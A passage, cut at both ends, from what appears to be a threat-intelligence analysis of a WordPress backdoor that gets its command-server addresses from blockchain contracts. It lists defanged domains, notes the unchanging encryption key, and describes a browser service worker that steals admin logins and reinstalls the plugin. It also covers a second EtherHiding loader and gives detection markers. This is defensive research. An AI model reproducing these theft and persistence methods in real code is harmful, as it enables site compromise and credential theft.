`railroad-boot[.]com`, `great-basic[.]com` | `/SGct2K` | | 8 Sep, 19:16 | `castle-lid[.]com`, `highlight-pyramid[.]com`, `colon-strange[.]pro` | `/SGct2K` | | 9 Sep, 10:56 | `notion-brown[.]com`, `gear-carriage[.]com`, `tape-exposure[.]com` | `/SGct2K` | | 11 Sep, 19:41 | `stand-medal[.]com`, `truth-dialogue[.]com`, `cold-pyramid[.]com` | `/SGct2K` | | 15 Sep, 13:07 | `correspondabb[.]com`, `rehearsal-b[.]com`, `chordapple[.]com` | `/SGct2K` | | 19 Oct, 22:11 | `fruit-overall[.]com`, `decoyanswer[.]com`, `egg-crusade[.]com` | `/SGct2K` | | 20 Oct, 01:07 | the same three | `/vImdk1k` | | 24 Oct, 13:05 (current on 30 Oct) | the same three | `/4qX0LB` | - **Twenty-two writes in seven months.** The operator started with one "analytics"-looking server at a time on cheap top-level domains (`.sbs`, `.xyz`, `.top`, `.biz`), moved to two and then three random word pairs in July, and to mostly `.com` names from August. The servers usually change days or weeks apart; the path is changed separately. - **The 16-byte server key has not changed since the contracts were created in April.** Every report the backdoor sent in that time, and every stored configuration, is encrypted with the same key: a defender who has it can read captured traffic and the `sc_c2_cache` option on an infected site. ##### What the service worker does in the administrator's browser The worker that the plugin plants (October: `/?p=<8 digits>`) was captured from an infected site and read statically: - **It steals the WordPress sign-in.** It watches the browser's requests; when the administrator submits `wp-login.php`, it copies the user name and password, encrypts them with the same server key and sends them to the command server — in addition to the server-side capture. Cleaning the server does not stop this: the worker lives in the browser. - **It reinstalls the backdoor from the browser.** On admin pages it checks whether the plugin is still there. If it is gone, it downloads the plugin package and uploads it through WordPress's own "Upload plugin" page, using the administrator's open session. A site that was cleaned on the server is re-infected the next time an administrator opens the dashboard. - It injects the attackers' page code into admin pages and keeps itself current (`skipWaiting`, `clients.claim`, background sync). **So:** the browser is a second place the infection lives. The server and the administrators' browsers have to be cleaned in the same window — see Cleaning. ##### A second, separate campaign on the same site The home page of the same site carried two more inline loaders. They are not SC code: they read a **different contract on Polygon** (`0x83833C5D676cA06E941A32310AE67D0890F657eE`), get back a domain (at the time `makeverizyjar[.]info`) and load a script from it — the classic front-end EtherHiding lure loader. When the export was taken the domain no longer resolved, so visitors saw nothing; one write to the contract would bring it back. Compromised WordPress sites are often shared by several operators: cleaning must cover both. **The lesson:** the authors change everything a scanner looks at — plugin name, author, file size, the worker's address — but they keep the part that is expensive to change: the contracts. That is the anchor defenders should hunt for. #### How to check a WordPress site - Search the files for `0x3bc5de30` and for a header comment `/* SCV:`. - Look for unexpected must-use plugins, `advanced-cache.php` / `db.php` you did not install, `auto_prepend_file` in `.user.ini` or `.htaccess`, and PHP files in `wp-content/cache`. - In the page source of `wp-login.php`, look for a `